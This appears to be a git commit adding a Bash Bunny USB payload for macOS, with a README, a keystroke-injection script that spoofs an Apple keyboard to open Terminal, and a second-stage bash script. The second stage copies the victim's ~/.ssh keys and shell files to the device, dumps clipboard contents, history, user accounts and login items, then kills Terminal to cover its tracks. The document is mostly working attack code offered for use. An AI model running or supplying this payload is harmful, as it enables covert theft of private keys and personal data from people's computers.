commit
e82fb6166b
|
@ -0,0 +1,9 @@
|
||||||
|
# Two Stage Mac
|
||||||
|
|
||||||
|
Author: Draxiom
|
||||||
|
|
||||||
|
## Description
|
||||||
|
A simple two stage payload for OSX. First stage, opens terminal and executes a shell script, saved on the Bash Bunny's storage. Sample second stage does some device profiling.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
Overwrite second-stage.sh with custom script and plug into mac. It should open up terminal and execute the second stage via `sh /Volumes/BashBunny/switch#/second-stage.sh`. Loot is saved in /Volumes/BashBunny/loot/hostname/epoch/ and is passed into second-stage.sh as the parameter `$1`
|
|
@ -0,0 +1,42 @@
|
||||||
|
# Title: TwoStageMac
|
||||||
|
# Description: A simple two stage payload for OSX. Sample second stage
|
||||||
|
# does some device profiling.
|
||||||
|
# Author: Draxiom
|
||||||
|
# Props: jdetmold
|
||||||
|
# Version: 1.0
|
||||||
|
# Category: Exfiltration
|
||||||
|
# Target: OSX
|
||||||
|
# Attack Modes: HID, STORAGE
|
||||||
|
|
||||||
|
LED SETUP
|
||||||
|
ATTACKMODE HID VID_0X05AC PID_0X021E STORAGE
|
||||||
|
GET SWITCH_POSITION
|
||||||
|
|
||||||
|
# Global variables
|
||||||
|
MOUNTING_LOCATION=/Volumes/BashBunny
|
||||||
|
SECOND_STAGE=${MOUNTING_LOCATION}/payloads/${SWITCH_POSITION}/second-stage.sh
|
||||||
|
LOOT_DIR=${MOUNTING_LOCATION}/loot/$\(hostname\)
|
||||||
|
|
||||||
|
# Open terminal
|
||||||
|
LED ATTACK
|
||||||
|
RUN OSX terminal
|
||||||
|
Q ENTER
|
||||||
|
Q DELAY 200
|
||||||
|
# Open new window in case there's already a terminal window open
|
||||||
|
Q GUI n
|
||||||
|
Q DELAY 100
|
||||||
|
|
||||||
|
# Set up loot directory and pipe output to text file (named by epoch time)
|
||||||
|
Q STRING NOW=$\(date +'%s'\)\; mkdir -p $LOOT_DIR/\$NOW\; sh $SECOND_STAGE ${LOOT_DIR}/\$NOW \> $LOOT_DIR/\$NOW/STDOUT.txt 2\> $LOOT_DIR/\$NOW/STDERR.txt
|
||||||
|
Q ENTER
|
||||||
|
|
||||||
|
# Eject
|
||||||
|
LED CLEANUP
|
||||||
|
Q STRING diskutil eject ${MOUNTING_LOCATION}
|
||||||
|
Q ENTER
|
||||||
|
Q STRING killall Terminal
|
||||||
|
Q ENTER
|
||||||
|
|
||||||
|
sync
|
||||||
|
|
||||||
|
LED FINISH
|
|
@ -0,0 +1,61 @@
|
||||||
|
#!/bin/bash
|
||||||
|
#
|
||||||
|
# This is a sample second-stage script. It will scrape some interesting
|
||||||
|
# information from a mac. The target loot directory is passed in as $1
|
||||||
|
# I have added echo statements for each command to make it easier to parse
|
||||||
|
# STDOUT when viewing loot afterwards.
|
||||||
|
|
||||||
|
echo "$ whoami"
|
||||||
|
whoami
|
||||||
|
|
||||||
|
echo "$ uname -a"
|
||||||
|
uname -a
|
||||||
|
|
||||||
|
echo "$ df -h"
|
||||||
|
df -h
|
||||||
|
|
||||||
|
echo "$ ls ~"
|
||||||
|
ls -alF ~
|
||||||
|
|
||||||
|
echo "$ cd ${1}"
|
||||||
|
cd $1
|
||||||
|
|
||||||
|
echo "$ cp -r ~/.ssh ssh"
|
||||||
|
cp -r ~/.ssh $1/ssh
|
||||||
|
|
||||||
|
echo "$ cp -r ~/.bash* ."
|
||||||
|
cp -r ~/.bash* $1/.
|
||||||
|
|
||||||
|
echo "for file in .*; do"
|
||||||
|
for file in .*; do
|
||||||
|
# Skip "." and ".." and unhide every hidden file
|
||||||
|
if [[ "${file}" =~ ^\.*$ ]]; then
|
||||||
|
echo "Skip \"${file}\""
|
||||||
|
else
|
||||||
|
echo "mv ${file} ${file#.}"
|
||||||
|
mv "$file" "${file#.}"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo "done"
|
||||||
|
|
||||||
|
# Lifted from library/recon/MacProfiler
|
||||||
|
echo "$ history"
|
||||||
|
history
|
||||||
|
|
||||||
|
echo "$ osascript -e \"the clipboard\" > clipboard.txt"
|
||||||
|
osascript -e "the clipboard" > clipboard.txt
|
||||||
|
|
||||||
|
echo "$ dscl . list /Users | grep -v '_'"
|
||||||
|
dscl . list /Users | grep -v '_'
|
||||||
|
|
||||||
|
echo "$ ifconfig"
|
||||||
|
ifconfig
|
||||||
|
|
||||||
|
echo "$ curl ipecho.net/plain"
|
||||||
|
curl ipecho.net/plain
|
||||||
|
|
||||||
|
echo "$ osascript -e 'tell application \"System Events\" to get the name of every login item'"
|
||||||
|
osascript -e 'tell application "System Events" to get the name of every login item'
|
||||||
|
|
||||||
|
echo "$ ls /Applications/"
|
||||||
|
ls /Applications/
|
Loading…
Reference in New Issue